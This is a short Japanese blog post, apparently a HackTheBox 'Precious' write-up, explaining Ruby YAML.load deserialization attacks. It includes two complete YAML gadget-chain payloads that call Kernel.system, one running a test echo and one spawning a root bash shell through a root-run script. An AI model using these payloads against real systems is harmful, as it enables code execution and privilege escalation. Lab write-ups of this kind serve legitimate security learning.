YAML Deserialization Attack とは
RubyのYAMLデシリアライゼーション攻撃は、悪意のあるユーザーがRubyのYAMLパーサーを悪用して、予期しないコードの実行やシステムへの不正なアクセスを行おうとする攻撃手法です。
この攻撃は、RubyのYAMLパーサーが入力データをデシリアライズ(復元)する際に生じる脆弱性を悪用しています。
YAML(YAML Ain't Markup Language)は、人間に読みやすく記述できるデータシリアライゼーション形式です。
RubyのYAMLパーサーは、YAML形式のデータを解析し、Rubyオブジェクトに復元します。
このデシリアライゼーションプロセスにおいて、攻撃者は悪意のあるコードを埋め込んだYAMLデータを作成し、パーサーがそれを実行するように仕向けます。
攻撃者は、YAML内の特定の構文や機能を利用して、任意のRubyコードの実行やシステムへのアクセスを試みることができます。
Chat GPTより。
やってみる
今回はHackTheBoxのPreciousというマシンに焦点を当てて解説していきます。
このマシンを攻略する際に一部利用しました。
ネタバレになる恐れがありますので、注意してください。
以下のようなコードがRootで実行されるとします。
# Compare installed dependencies with those specified in "dependencies.yml"
require "yaml"
require 'rubygems'
# TODO: update versions automatically
def update_gems()
end
def list_from_file
YAML.load(File.read("dependencies.yml"))
end
def list_local_gems
Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}
end
gems_file = list_from_file
gems_local = list_local_gems
gems_file.each do |file_name, file_version|
gems_local.each do |local_name, local_version|
if(file_name == local_name)
if(file_version != local_version)
puts "Installed version differs from the one specified in file: " + local_name
else
puts "Installed version is equals to the one specified in file: " + local_name
end
end
end
end
RubyのYAML.load
には脆弱性があります。
上記のスクリプトの場合は、dependencies.yml
を呼びだすので、以下のようなファイルを用意します。
任意のコマンドはgit_set: echo "VULN"
に書きます。
---
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: y
- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: echo "VULN"
method_id: :resolve
実行すると以下のような結果が得られます。
SHELL
SHELLが欲しいならこのような感じで実行します。
---
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: y
- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: /bin/bash
method_id: :resolve
このファイルの呼び出し元がroot
としての実行が許可されているならrootのBashが取れますね。
まとめ
日本語のドキュメントが出てこなかったので書きました。
わーい
参考